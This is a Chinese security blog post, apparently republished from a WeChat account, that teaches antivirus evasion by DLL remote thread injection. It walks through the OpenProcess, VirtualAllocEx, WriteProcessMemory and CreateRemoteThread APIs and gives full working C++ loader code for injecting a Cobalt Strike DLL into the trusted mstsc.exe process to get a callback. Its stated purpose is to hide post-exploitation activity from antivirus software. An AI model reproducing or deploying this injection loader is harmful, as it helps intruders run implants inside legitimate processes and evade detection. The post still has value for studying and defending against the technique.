免杀基础之DLL远程线程注入

admin 2024年9月28日13:31:24评论66 views字数 4809阅读16分1秒阅读模式

声明:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关

大家好,前段时间忙着HW,也有一段时间没有更新公众号了。。。。

免杀基础之DLL远程线程注入

学习免杀之前给大家推荐一些课程和书籍:

Windows核心编程(第四版)

小甲鱼C-PE详解:

https://www.bilibili.com/video/BV1ys411s7PN/?share_source=copy_web&vd_source=5c37d9d43a7d3dba0267ab8fa2bb758d

吾爱破解-病毒专区

涉及到的知识点:

  1. 操作系统之内存管理

  2. WindowsAPI

  3. PE

啰嗦几句:WindowsAPI真的太多了,写代码的时候,记不住参数是正常的,大家可以一边写一边F11查看msdn的官方文档,不推荐csdn,最好查看官方文档

1.写在前面

我们需要搞清楚两点:什么是dll注入,为什么需要dll注入

当程序被启动,或者某个线程使用CreateProcess创建新的进程时,系统会分配一个内存地址,存放可执行文件,一个exe文件包含了代码要调用的DLL文件,然后系统会调用LoadLibrary函数来加载dll文件

最后,当所有的exe和DLL文件都被映射到进程的地址空间之后,系统就可以开始执行exe文件的启动代码了。

dll注入就是让一个线程来加载我们自己的dll文件,当然,这里就是用来上线的dll喽

dll注入又叫远程线程注入,代表了三个部分,远程,线程,注入

为什么远程?因为dll注入的时候,不可能注入一个自己的进程,自己的进程肯定是没有数字签名的,了解下杀软,对于没有数字签名的进程的查杀力度,远远高于有数字签名的,所以这就是为什么要远程注入一个白进程,即微软自带的一些白名单进程。

为什么需要dll注入,免杀上线,只是一个开始,拿到shell之后,要信息搜集,提权,这些敏感操作,杀软都查的很死,如果不注入一个白进程,百分百被杀。

2.WindowsAPI

WindowsAPI太多了,这里只介绍常用的,大家可以上msdn查找用法。

CreateRemoteThread()

HANDLE WINAPI CreateRemoteThread(__in HANDLE hProcess,__in LPSECURITY_ATTRIBUTES lpThreadAttributes,__in SIZE_T dwStackSize,__in LPTHREAD_START_ROUTINE lpStartAddress,__in LPVOID lpParameter,__in DWORD dwCreationFlags,__out LPDWORD lpThreadId);

hProcess:参数类型是HANDLE,也就是句柄

CreateRemoteThread:指向 SECURITY_ATTRIBUTES 结构的指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。如果 lpThreadAttributes 为 NULL,则线程将获取默认安全描述符,并且无法继承句柄。写NULL即可

dwStackSize:线程初始大小,默认0

lpStartAddress:远程进程中线程的起始地址,即使用LoadLibrary的地址作为线程函数地址

lpParameter指向要传递给线程函数的变量的指针,即使用dll路径作为参数(存放在申请的内存中)

dwCreationFlags:这里使用0,代表创建后立即执行线程,这里还有个挂起,傀儡进程的原理就是这个,下一篇文章来讲讲,也可自行百度:https://blog.csdn.net/weixin_44891742/article/details/125627482

lpThreadId:指向接收线程标识符的变量的指针,写NULL即可

VirtualAllocEx()

是在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0

LPVOID VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);

hProcess:进程的句柄

lpAddress:为要分配的页面区域指定所需起始地址的指针。

dwSize:要分配的内存区域的大小(以字节为单位)。

flAllocationType:内存分配的类型(可分页内存),一般用MEM_COMMIT

免杀基础之DLL远程线程注入

WriteProcessMemory()

此函数能写入某一进程的内存区域(直接写入会出Access Violation错误),故需此函数入口区必须可以访问,否则操作将失败

BOOL WriteProcessMemory(HANDLE hProcess, //进程句柄LPVOID lpBaseAddress, //写入的内存首地址LPCVOID lpBuffer, //要写数据的指针SIZE_T nSize, //大小SIZE_T *lpNumberOfBytesWritten);

OpenProcess()

HANDLE OpenProcess(  [in] DWORD dwDesiredAccess,  [in] BOOL  bInheritHandle,  [in] DWORD dwProcessId);

hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );

第一个是获取何种权限,这里获取全部权限,第二个默认不继承句柄,第三个要打开的本地进程的标识符,即PID。

GetProcAddresss()

FARPROC GetProcAddress(  [in] HMODULE hModule,//模块的句柄,可用GetModuleHandle()函数获取  [in] LPCSTR  lpProcName//要查找的函数名称);

3.实现过程

掌握这些WindowsAPI之后,先思考注入的流程是什么

要想拿到一个进程往里面写东西,首先要拿到进程的句柄,所以第一步就是打开进程拿到句柄,然后就要申请内存。要加载dll,就要把dll路径写入内存里面,然后LoadLibrary加载。这里我看了很多师傅都是隐藏了导入表(一定程度规避杀软),不直接调用LoadLibrary,而是在kernel32.dll里面自己找LoadLibrary的地址,所以第四步是获取LoadLibrary地址,然后就是在另一个进程中创建线程。这里就差不多了,最后收尾,等待线程结束,释放dll空间,关闭句柄

  1. 获取线程句柄

这个函数就不用自己写了,直接google

DWORD GetProcessPID(LPCTSTR lpProcessName){    DWORD Ret = 0;    PROCESSENTRY32 p32;    HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (lpSnapshot == INVALID_HANDLE_VALUE)    {        printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());        return Ret;    }    p32.dwSize = sizeof(PROCESSENTRY32);//PROCESSENTRY32是一个结构    ::Process32First(lpSnapshot, &p32);    do {        if (!lstrcmp(p32.szExeFile, lpProcessName))        {            Ret = p32.th32ProcessID;            break;        }    } while (::Process32Next(lpSnapshot, &p32));    ::CloseHandle(lpSnapshot);    return Ret;}

简单解释下代码,这里就是通过对当前进程拍摄快照,然后获取pid

这里用了do-while循环,获取快照中的进程名,和lpProcessName(传入的参数,也就是需要查找的进程名)进行比较,然后返回一个pid

我们打开一个mstsc,然后运行程序

免杀基础之DLL远程线程注入

免杀基础之DLL远程线程注入

可以看到获取句柄是没问题的

然后写个函数RemoteThreadInject,两个参数,第一个是pid,第二个是指针类型的dll的路径

DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DLLPath){    DWORD size = 0;    // 1.打开进程    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);    if (hProcess == NULL)    {        printf("OpenProcess FAILED!n");        return FALSE;    }    // 2.申请空间    size = (wcslen(DLLPath)+1) * sizeof(TCHAR);//获取dll路径长度,dll以TCHAR类型存储    LPVOID pAllocMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);    if (pAllocMemory == NULL)    {        printf("VirtualAllocEx FAILED!n");        return FALSE;    }    // 3.写入内存    BOOL pWrite = WriteProcessMemory(hProcess, pAllocMemory, DLLPath, size,NULL);//f11查看该函数注解,类型为bool值    if (pWrite == 0)    {        printf("WriteProcessMemory FAILED!n");        return FALSE;    }    //4.获取LoadLibrary地址    FARPROC pThread = GetProcAddress(DrvGetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//vs生成的默认是unicode,W系的API对应unicode,A系的API对应ascii    LPTHREAD_START_ROUTINE address = (LPTHREAD_START_ROUTINE)pThread;//创建线程第四个参数需要LPTHREAD_START_ROUTINE类型,进行类型强制转换    //5.创建线程    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, address, pAllocMemory, 0, NULL);    if (hThread == 0)    {        printf("CreateRemoteThread FAILED!n");        return FALSE;    }    //6.等待线程函数结束    WaitForSingleObject(hThread, INFINITE);//INFINITE==-1==0xffffffff    //7.释放dll空间    VirtualFreeEx(hProcess, pAllocMemory, size, MEM_DECOMMIT);    //8.关闭句柄    CloseHandle(hProcess);    return TRUE;}

整个功能函数就写完了,接下来在主函数调用就行了,我用的CS直接生成的DLL。

int main(){    DWORD PID = GetProcessPID(L"mstsc.exe");    RemoteThreadInject(PID, L"C:\Users\姜戈\Desktop\DLLInject.dll");}

免杀基础之DLL远程线程注入

然后打开一个mstsc.exe,本地Windows部署即可。免杀基础之DLL远程线程注入

可以看到成功上线,DLL注入就成功了,但是,被杀哈哈哈哈哈哈,免杀道路还长

免杀基础之DLL远程线程注入

免杀基础之DLL远程线程注入

可以看到确实加载了DLLInject.dll

站岗小狗为您服务

免杀基础之DLL远程线程注入

原文始发于微信公众号(HexaGoners):免杀基础之DLL远程线程注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日13:31:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀基础之DLL远程线程注入https://cn-sec.com/archives/1984713.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息